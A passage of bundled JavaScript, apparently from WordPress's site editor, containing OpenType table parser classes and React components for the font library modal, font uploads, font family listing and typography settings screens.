constructor( p ) {
this.format = p.uint32;
this.length = p.uint32;
this.offset = p.Offset32;
}
}
class SignatureBlockFormat1 {
constructor( p ) {
p.uint16;
p.uint16;
this.signatureLength = p.uint32;
this.signature = p.readBytes( this.signatureLength );
}
}
var DSIG$1 = Object.freeze( { __proto__: null, DSIG: DSIG } );
class hdmx extends SimpleTable {
constructor( dict, dataview, tables ) {
const { p: p } = super( dict, dataview );
const numGlyphs = tables.hmtx.numGlyphs;
this.version = p.uint16;
this.numRecords = p.int16;
this.sizeDeviceRecord = p.int32;
this.records = [ ...new Array( numRecords ) ].map(
( _ ) => new DeviceRecord( p, numGlyphs )
);
}
}
class DeviceRecord {
constructor( p, numGlyphs ) {
this.pixelSize = p.uint8;
this.maxWidth = p.uint8;
this.widths = p.readBytes( numGlyphs );
}
}
var hdmx$1 = Object.freeze( { __proto__: null, hdmx: hdmx } );
class kern extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint16;
this.nTables = p.uint16;
lazy$1( this, `tables`, () => {
let offset = this.tableStart + 4;
const tables = [];
for ( let i = 0; i < this.nTables; i++ ) {
p.currentPosition = offset;
let subtable = new KernSubTable( p );
tables.push( subtable );
offset += subtable;
}
return tables;
} );
}
}
class KernSubTable {
constructor( p ) {
this.version = p.uint16;
this.length = p.uint16;
this.coverage = p.flags( 8 );
this.format = p.uint8;
if ( this.format === 0 ) {
this.nPairs = p.uint16;
this.searchRange = p.uint16;
this.entrySelector = p.uint16;
this.rangeShift = p.uint16;
lazy$1( this, `pairs`, () =>
[ ...new Array( this.nPairs ) ].map( ( _ ) => new Pair( p ) )
);
}
if ( this.format === 2 ) {
console.warn(
`Kern subtable format 2 is not supported: this parser currently only parses universal table data.`
);
}
}
get horizontal() {
return this.coverage[ 0 ];
}
get minimum() {
return this.coverage[ 1 ];
}
get crossstream() {
return this.coverage[ 2 ];
}
get override() {
return this.coverage[ 3 ];
}
}
class Pair {
constructor( p ) {
this.left = p.uint16;
this.right = p.uint16;
this.value = p.fword;
}
}
var kern$1 = Object.freeze( { __proto__: null, kern: kern } );
class LTSH extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint16;
this.numGlyphs = p.uint16;
this.yPels = p.readBytes( this.numGlyphs );
}
}
var LTSH$1 = Object.freeze( { __proto__: null, LTSH: LTSH } );
class MERG extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint16;
this.mergeClassCount = p.uint16;
this.mergeDataOffset = p.Offset16;
this.classDefCount = p.uint16;
this.offsetToClassDefOffsets = p.Offset16;
lazy$1( this, `mergeEntryMatrix`, () =>
[ ...new Array( this.mergeClassCount ) ].map( ( _ ) =>
p.readBytes( this.mergeClassCount )
)
);
console.warn( `Full MERG parsing is currently not supported.` );
console.warn(
`If you need this table parsed, please file an issue, or better yet, a PR.`
);
}
}
var MERG$1 = Object.freeze( { __proto__: null, MERG: MERG } );
class meta extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint32;
this.flags = p.uint32;
p.uint32;
this.dataMapsCount = p.uint32;
this.dataMaps = [ ...new Array( this.dataMapsCount ) ].map(
( _ ) => new DataMap( this.tableStart, p )
);
}
}
class DataMap {
constructor( tableStart, p ) {
this.tableStart = tableStart;
this.parser = p;
this.tag = p.tag;
this.dataOffset = p.Offset32;
this.dataLength = p.uint32;
}
getData() {
this.parser.currentField = this.tableStart + this.dataOffset;
return this.parser.readBytes( this.dataLength );
}
}
var meta$1 = Object.freeze( { __proto__: null, meta: meta } );
class PCLT extends SimpleTable {
constructor( dict, dataview ) {
super( dict, dataview );
console.warn(
`This font uses a PCLT table, which is currently not supported by this parser.`
);
console.warn(
`If you need this table parsed, please file an issue, or better yet, a PR.`
);
}
}
var PCLT$1 = Object.freeze( { __proto__: null, PCLT: PCLT } );
class VDMX extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.uint16;
this.numRecs = p.uint16;
this.numRatios = p.uint16;
this.ratRanges = [ ...new Array( this.numRatios ) ].map(
( _ ) => new RatioRange( p )
);
this.offsets = [ ...new Array( this.numRatios ) ].map(
( _ ) => p.Offset16
);
this.VDMXGroups = [ ...new Array( this.numRecs ) ].map(
( _ ) => new VDMXGroup( p )
);
}
}
class RatioRange {
constructor( p ) {
this.bCharSet = p.uint8;
this.xRatio = p.uint8;
this.yStartRatio = p.uint8;
this.yEndRatio = p.uint8;
}
}
class VDMXGroup {
constructor( p ) {
this.recs = p.uint16;
this.startsz = p.uint8;
this.endsz = p.uint8;
this.records = [ ...new Array( this.recs ) ].map(
( _ ) => new vTable( p )
);
}
}
class vTable {
constructor( p ) {
this.yPelHeight = p.uint16;
this.yMax = p.int16;
this.yMin = p.int16;
}
}
var VDMX$1 = Object.freeze( { __proto__: null, VDMX: VDMX } );
class vhea extends SimpleTable {
constructor( dict, dataview ) {
const { p: p } = super( dict, dataview );
this.version = p.fixed;
this.ascent = this.vertTypoAscender = p.int16;
this.descent = this.vertTypoDescender = p.int16;
this.lineGap = this.vertTypoLineGap = p.int16;
this.advanceHeightMax = p.int16;
this.minTopSideBearing = p.int16;
this.minBottomSideBearing = p.int16;
this.yMaxExtent = p.int16;
this.caretSlopeRise = p.int16;
this.caretSlopeRun = p.int16;
this.caretOffset = p.int16;
this.reserved = p.int16;
this.reserved = p.int16;
this.reserved = p.int16;
this.reserved = p.int16;
this.metricDataFormat = p.int16;
this.numOfLongVerMetrics = p.uint16;
p.verifyLength();
}
}
var vhea$1 = Object.freeze( { __proto__: null, vhea: vhea } );
class vmtx extends SimpleTable {
constructor( dict, dataview, tables ) {
super( dict, dataview );
const numOfLongVerMetrics = tables.vhea.numOfLongVerMetrics;
const numGlyphs = tables.maxp.numGlyphs;
const metricsStart = p.currentPosition;
lazy( this, `vMetrics`, () => {
p.currentPosition = metricsStart;
return [ ...new Array( numOfLongVerMetrics ) ].map(
( _ ) => new LongVertMetric( p.uint16, p.int16 )
);
} );
if ( numOfLongVerMetrics < numGlyphs ) {
const tsbStart = metricsStart + numOfLongVerMetrics * 4;
lazy( this, `topSideBearings`, () => {
p.currentPosition = tsbStart;
return [ ...new Array( numGlyphs - numOfLongVerMetrics ) ].map(
( _ ) => p.int16
);
} );
}
}
}
class LongVertMetric {
constructor( h, b ) {
this.advanceHeight = h;
this.topSideBearing = b;
}
}
var vmtx$1 = Object.freeze( { __proto__: null, vmtx: vmtx } );
/* eslint-enable */
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/make-families-from-faces.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
kebabCase: make_families_from_faces_kebabCase
} = unlock(external_wp_components_namespaceObject.privateApis);
function makeFamiliesFromFaces(fontFaces) {
const fontFamiliesObject = fontFaces.reduce((acc, item) => {
if (!acc[item.fontFamily]) {
acc[item.fontFamily] = {
name: item.fontFamily,
fontFamily: item.fontFamily,
slug: make_families_from_faces_kebabCase(item.fontFamily.toLowerCase()),
fontFace: []
};
}
acc[item.fontFamily].fontFace.push(item);
return acc;
}, {});
return Object.values(fontFamiliesObject);
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/upload-fonts.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function UploadFonts() {
const {
installFonts
} = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
const [isUploading, setIsUploading] = (0,external_wp_element_namespaceObject.useState)(false);
const [notice, setNotice] = (0,external_wp_element_namespaceObject.useState)(false);
const handleDropZone = files => {
handleFilesUpload(files);
};
const onFilesUpload = event => {
handleFilesUpload(event.target.files);
};
/**
* Filters the selected files to only allow the ones with the allowed extensions
*
* @param {Array} files The files to be filtered
* @return {void}
*/
const handleFilesUpload = async files => {
setNotice(null);
setIsUploading(true);
const uniqueFilenames = new Set();
const selectedFiles = [...files];
let hasInvalidFiles = false;
// Use map to create a promise for each file check, then filter with Promise.all.
const checkFilesPromises = selectedFiles.map(async file => {
const isFont = await isFontFile(file);
if (!isFont) {
hasInvalidFiles = true;
return null; // Return null for invalid files.
}
// Check for duplicates
if (uniqueFilenames.has(file.name)) {
return null; // Return null for duplicates.
}
// Check if the file extension is allowed.
const fileExtension = file.name.split('.').pop().toLowerCase();
if (ALLOWED_FILE_EXTENSIONS.includes(fileExtension)) {
uniqueFilenames.add(file.name);
return file; // Return the file if it passes all checks.
}
return null; // Return null for disallowed file extensions.
});
// Filter out the nulls after all promises have resolved.
const allowedFiles = (await Promise.all(checkFilesPromises)).filter(file => null !== file);
if (allowedFiles.length > 0) {
loadFiles(allowedFiles);
} else {
const message = hasInvalidFiles ? (0,external_wp_i18n_namespaceObject.__)('Sorry, you are not allowed to upload this file type.') : (0,external_wp_i18n_namespaceObject.__)('No fonts found to install.');
setNotice({
type: 'error',
message
});
setIsUploading(false);
}
};
/**
* Loads the selected files and reads the font metadata
*
* @param {Array} files The files to be loaded
* @return {void}
*/
const loadFiles = async files => {
const fontFacesLoaded = await Promise.all(files.map(async fontFile => {
const fontFaceData = await getFontFaceMetadata(fontFile);
await loadFontFaceInBrowser(fontFaceData, fontFaceData.file, 'all');
return fontFaceData;
}));
handleInstall(fontFacesLoaded);
};
/**
* Checks if a file is a valid Font file.
*
* @param {File} file The file to be checked.
* @return {boolean} Whether the file is a valid font file.
*/
async function isFontFile(file) {
const font = new Font('Uploaded Font');
try {
const buffer = await readFileAsArrayBuffer(file);
await font.fromDataBuffer(buffer, 'font');
return true;
} catch (error) {
return false;
}
}
// Create a function to read the file as array buffer
async function readFileAsArrayBuffer(file) {
return new Promise((resolve, reject) => {
const reader = new window.FileReader();
reader.readAsArrayBuffer(file);
reader.onload = () => resolve(reader.result);
reader.onerror = reject;
});
}
const getFontFaceMetadata = async fontFile => {
const buffer = await readFileAsArrayBuffer(fontFile);
const fontObj = new Font('Uploaded Font');
fontObj.fromDataBuffer(buffer, fontFile.name);
// Assuming that fromDataBuffer triggers onload event and returning a Promise
const onloadEvent = await new Promise(resolve => fontObj.onload = resolve);
const font = onloadEvent.detail.font;
const {
name
} = font.opentype.tables;
const fontName = name.get(16) || name.get(1);
const isItalic = name.get(2).toLowerCase().includes('italic');
const fontWeight = font.opentype.tables['OS/2'].usWeightClass || 'normal';
const isVariable = !!font.opentype.tables.fvar;
const weightAxis = isVariable && font.opentype.tables.fvar.axes.find(({
tag
}) => tag === 'wght');
const weightRange = weightAxis ? `${weightAxis.minValue} ${weightAxis.maxValue}` : null;
return {
file: fontFile,
fontFamily: fontName,
fontStyle: isItalic ? 'italic' : 'normal',
fontWeight: weightRange || fontWeight
};
};
/**
* Creates the font family definition and sends it to the server
*
* @param {Array} fontFaces The font faces to be installed
* @return {void}
*/
const handleInstall = async fontFaces => {
const fontFamilies = makeFamiliesFromFaces(fontFaces);
try {
await installFonts(fontFamilies);
setNotice({
type: 'success',
message: (0,external_wp_i18n_namespaceObject.__)('Fonts were installed successfully.')
});
} catch (error) {
setNotice({
type: 'error',
message: error.message,
errors: error?.installationErrors
});
}
setIsUploading(false);
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
className: "font-library-modal__tabpanel-layout",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropZone, {
onFilesDrop: handleDropZone
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "font-library-modal__local-fonts",
children: [notice && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Notice, {
status: notice.type,
__unstableHTML: true,
onRemove: () => setNotice(null),
children: [notice.message, notice.errors && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
children: notice.errors.map((error, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
children: error
}, index))
})]
}), isUploading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "font-library-modal__upload-area",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {})
})
}), !isUploading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FormFileUpload, {
accept: ALLOWED_FILE_EXTENSIONS.map(ext => `.${ext}`).join(','),
multiple: true,
onChange: onFilesUpload,
render: ({
openFileDialog
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
className: "font-library-modal__upload-area",
onClick: openFileDialog,
children: (0,external_wp_i18n_namespaceObject.__)('Upload font')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
margin: 2
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
className: "font-library-modal__upload-area__text",
children: (0,external_wp_i18n_namespaceObject.__)('Uploaded fonts appear in your library and can be used in your theme. Supported formats: .ttf, .otf, .woff, and .woff2.')
})]
})]
});
}
/* harmony default export */ const upload_fonts = (UploadFonts);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
Tabs
} = unlock(external_wp_components_namespaceObject.privateApis);
const DEFAULT_TAB = {
id: 'installed-fonts',
title: (0,external_wp_i18n_namespaceObject._x)('Library', 'Font library')
};
const UPLOAD_TAB = {
id: 'upload-fonts',
title: (0,external_wp_i18n_namespaceObject._x)('Upload', 'noun')
};
const tabsFromCollections = collections => collections.map(({
slug,
name
}) => ({
id: slug,
title: collections.length === 1 && slug === 'google-fonts' ? (0,external_wp_i18n_namespaceObject.__)('Install Fonts') : name
}));
function FontLibraryModal({
onRequestClose,
defaultTabId = 'installed-fonts'
}) {
const {
collections
} = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
const canUserCreate = (0,external_wp_data_namespaceObject.useSelect)(select => {
return select(external_wp_coreData_namespaceObject.store).canUser('create', {
kind: 'postType',
name: 'wp_font_family'
});
}, []);
const tabs = [DEFAULT_TAB];
if (canUserCreate) {
tabs.push(UPLOAD_TAB);
tabs.push(...tabsFromCollections(collections || []));
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
title: (0,external_wp_i18n_namespaceObject.__)('Fonts'),
onRequestClose: onRequestClose,
isFullScreen: true,
className: "font-library-modal",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tabs, {
defaultTabId: defaultTabId,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "font-library-modal__tablist-container",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.TabList, {
children: tabs.map(({
id,
title
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, {
tabId: id,
children: title
}, id))
})
}), tabs.map(({
id
}) => {
let contents;
switch (id) {
case 'upload-fonts':
contents = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(upload_fonts, {});
break;
case 'installed-fonts':
contents = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(installed_fonts, {});
break;
default:
contents = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_collection, {
slug: id
});
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.TabPanel, {
tabId: id,
focusable: false,
children: contents
}, id);
})]
})
});
}
/* harmony default export */ const font_library_modal = (FontLibraryModal);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-family-item.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function FontFamilyItem({
font
}) {
const {
handleSetLibraryFontSelected,
setModalTabOpen
} = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
const variantsCount = font?.fontFace?.length || 1;
const handleClick = () => {
handleSetLibraryFontSelected(font);
setModalTabOpen('installed-fonts');
};
const previewStyle = getFamilyPreviewStyle(font);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, {
onClick: handleClick,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
style: previewStyle,
children: font.name
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
className: "edit-site-global-styles-screen-typography__font-variants-count",
children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: Number of font variants. */
(0,external_wp_i18n_namespaceObject._n)('%d variant', '%d variants', variantsCount), variantsCount)
})]
})
});
}
/* harmony default export */ const font_family_item = (FontFamilyItem);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-families.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalSetting: font_families_useGlobalSetting
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
/**
* Maps the fonts with the source, if available.
*
* @param {Array} fonts The fonts to map.
* @param {string} source The source of the fonts.
* @return {Array} The mapped fonts.
*/
function mapFontsWithSource(fonts, source) {
return fonts ? fonts.map(f => setUIValuesNeeded(f, {
source
})) : [];
}
function FontFamilies() {
const {
baseCustomFonts,
modalTabOpen,
setModalTabOpen
} = (0,external_wp_element_namespaceObject.useContext)(FontLibraryContext);
const [fontFamilies] = font_families_useGlobalSetting('typography.fontFamilies');
const [baseFontFamilies] = font_families_useGlobalSetting('typography.fontFamilies', undefined, 'base');
const themeFonts = mapFontsWithSource(fontFamilies?.theme, 'theme');
const customFonts = mapFontsWithSource(fontFamilies?.custom, 'custom');
const activeFonts = [...themeFonts, ...customFonts].sort((a, b) => a.name.localeCompare(b.name));
const hasFonts = 0 < activeFonts.length;
const hasInstalledFonts = hasFonts || baseFontFamilies?.theme?.length > 0 || baseCustomFonts?.length > 0;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [!!modalTabOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_library_modal, {
onRequestClose: () => setModalTabOpen(null),
defaultTabId: modalTabOpen
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 2,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "space-between",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle, {
level: 3,
children: (0,external_wp_i18n_namespaceObject.__)('Fonts')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
onClick: () => setModalTabOpen('installed-fonts'),
label: (0,external_wp_i18n_namespaceObject.__)('Manage fonts'),
icon: library_settings,
size: "small"
})]
}), activeFonts.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
size: "large",
isBordered: true,
isSeparated: true,
children: activeFonts.map(font => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_family_item, {
font: font
}, font.slug))
})
}), !hasFonts && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, {
as: "p",
children: hasInstalledFonts ? (0,external_wp_i18n_namespaceObject.__)('No fonts activated.') : (0,external_wp_i18n_namespaceObject.__)('No fonts installed.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
className: "edit-site-global-styles-font-families__manage-fonts",
variant: "secondary",
__next40pxDefaultSize: true,
onClick: () => {
setModalTabOpen(hasInstalledFonts ? 'installed-fonts' : 'upload-fonts');
},
children: hasInstalledFonts ? (0,external_wp_i18n_namespaceObject.__)('Manage fonts') : (0,external_wp_i18n_namespaceObject.__)('Add fonts')
})]
})]
})]
});
}
/* harmony default export */ const font_families = (({
...props
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(context, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FontFamilies, {
...props
})
}));
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-typography.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function ScreenTypography() {
const fontLibraryEnabled = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_editor_namespaceObject.store).getEditorSettings().fontLibraryEnabled, []);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: (0,external_wp_i18n_namespaceObject.__)('Typography'),
description: (0,external_wp_i18n_namespaceObject.__)('Available fonts, typographic styles, and the application of those styles.')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-global-styles-screen",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 7,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TypographyVariations, {
title: (0,external_wp_i18n_namespaceObject.__)('Typesets')
}), fontLibraryEnabled && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_families, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(typography_elements, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_count, {})]
})
})]
});
}
/* harmony default export */ const screen_typography = (ScreenTypography);
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-panel.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: typography_panel_useGlobalStyle,
useGlobalSetting: typography_panel_useGlobalSetting,
useSettingsForBlockElement: typography_panel_useSettingsForBlockElement,
TypographyPanel: typography_panel_StylesTypographyPanel
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function TypographyPanel({
element,
headingLevel
}) {
let prefixParts = [];
if (element === 'heading') {
prefixParts = prefixParts.concat(['elements', headingLevel]);
} else if (element && element !== 'text') {
prefixParts = prefixParts.concat(['elements', element]);
}
const prefix = prefixParts.join('.');
const [style] = typography_panel_useGlobalStyle(prefix, undefined, 'user', {
shouldDecodeEncode: false
});
const [inheritedStyle, setStyle] = typography_panel_useGlobalStyle(prefix, undefined, 'all', {
shouldDecodeEncode: false
});
const [rawSettings] = typography_panel_useGlobalSetting('');
const usedElement = element === 'heading' ? headingLevel : element;
const settings = typography_panel_useSettingsForBlockElement(rawSettings, undefined, usedElement);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(typography_panel_StylesTypographyPanel, {
inheritedValue: inheritedStyle,
value: style,
onChange: setStyle,
settings: settings
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-preview.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useGlobalStyle: typography_preview_useGlobalStyle
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
function TypographyPreview({
name,
element,
headingLevel
}) {
var _ref;
let prefix = '';
if (element === 'heading') {
prefix = `elements.${headingLevel}.`;
} else if (element && element !== 'text') {
prefix = `elements.${element}.`;
}
const [fontFamily] = typography_preview_useGlobalStyle(prefix + 'typography.fontFamily', name);
const [gradientValue] = typography_preview_useGlobalStyle(prefix + 'color.gradient', name);
const [backgroundColor] = typography_preview_useGlobalStyle(prefix + 'color.background', name);
const [fallbackBackgroundColor] = typography_preview_useGlobalStyle('color.background');
const [color] = typography_preview_useGlobalStyle(prefix + 'color.text', name);
const [fontSize] = typography_preview_useGlobalStyle(prefix + 'typography.fontSize', name);
const [fontStyle] = typography_preview_useGlobalStyle(prefix + 'typography.fontStyle', name);
const [fontWeight] = typography_preview_useGlobalStyle(prefix + 'typography.fontWeight', name);
const [letterSpacing] = typography_preview_useGlobalStyle(prefix + 'typography.letterSpacing', name);
const extraStyles = element === 'link' ? {
textDecoration: 'underline'
} : {};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-typography-preview",
style: {
fontFamily: fontFamily !== null && fontFamily !== void 0 ? fontFamily : 'serif',
background: (_ref = gradientValue !== null && gradientValue !== void 0 ? gradientValue : backgroundColor) !== null && _ref !== void 0 ? _ref : fallbackBackgroundColor,
color,
fontSize,
fontStyle,
fontWeight,
letterSpacing,
...extraStyles
},
children: "Aa"
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-typography-element.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const screen_typography_element_elements = {
text: {
description: (0,external_wp_i18n_namespaceObject.__)('Manage the fonts used on the site.'),
title: (0,external_wp_i18n_namespaceObject.__)('Text')
},
link: {
description: (0,external_wp_i18n_namespaceObject.__)('Manage the fonts and typography used on the links.'),
title: (0,external_wp_i18n_namespaceObject.__)('Links')
},
heading: {
description: (0,external_wp_i18n_namespaceObject.__)('Manage the fonts and typography used on headings.'),
title: (0,external_wp_i18n_namespaceObject.__)('Headings')
},
caption: {
description: (0,external_wp_i18n_namespaceObject.__)('Manage the fonts and typography used on captions.'),
title: (0,external_wp_i18n_namespaceObject.__)('Captions')
},
button: {
description: (0,external_wp_i18n_namespaceObject.__)('Manage the fonts and typography used on buttons.'),
title: (0,external_wp_i18n_namespaceObject.__)('Buttons')
}
};
function ScreenTypographyElement({
element
}) {
const [headingLevel, setHeadingLevel] = (0,external_wp_element_namespaceObject.useState)('heading');
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(header, {
title: screen_typography_element_elements[element].title,
description: screen_typography_element_elements[element].description
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
marginX: 4,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TypographyPreview, {
element: element,
headingLevel: headingLevel
})
}), element === 'heading' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {
marginX: 4,
marginBottom: "1em",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalToggleGroupControl, {
label: (0,external_wp_i18n_namespaceObject.__)('Select heading level'),
hideLabelFromVision: true,
value: headingLevel,
onChange: setHeadingLevel,
isBlock: true,
size: "__unstable-large",
__nextHasNoMarginBottom: true,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "heading",
showTooltip: true,
"aria-label": (0,external_wp_i18n_namespaceObject.__)('All headings'),
label: (0,external_wp_i18n_namespaceObject._x)('All', 'heading levels')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "h1",
showTooltip: true,
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 1'),
label: (0,external_wp_i18n_namespaceObject.__)('H1')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "h2",
showTooltip: true,
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 2'),
label: (0,external_wp_i18n_namespaceObject.__)('H2')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "h3",
showTooltip: true,
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 3'),
label: (0,external_wp_i18n_namespaceObject.__)('H3')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "h4",
showTooltip: true,
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 4'),
label: (0,external_wp_i18n_namespaceObject.__)('H4')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalToggleGroupControlOption, {
value: "h5",
showTooltip: true,
"aria-label": (0,external_wp_i18n_namespaceObject.__)('Heading 5'),
label: (0,external_wp_i18n_namespaceObject.__)('H5')
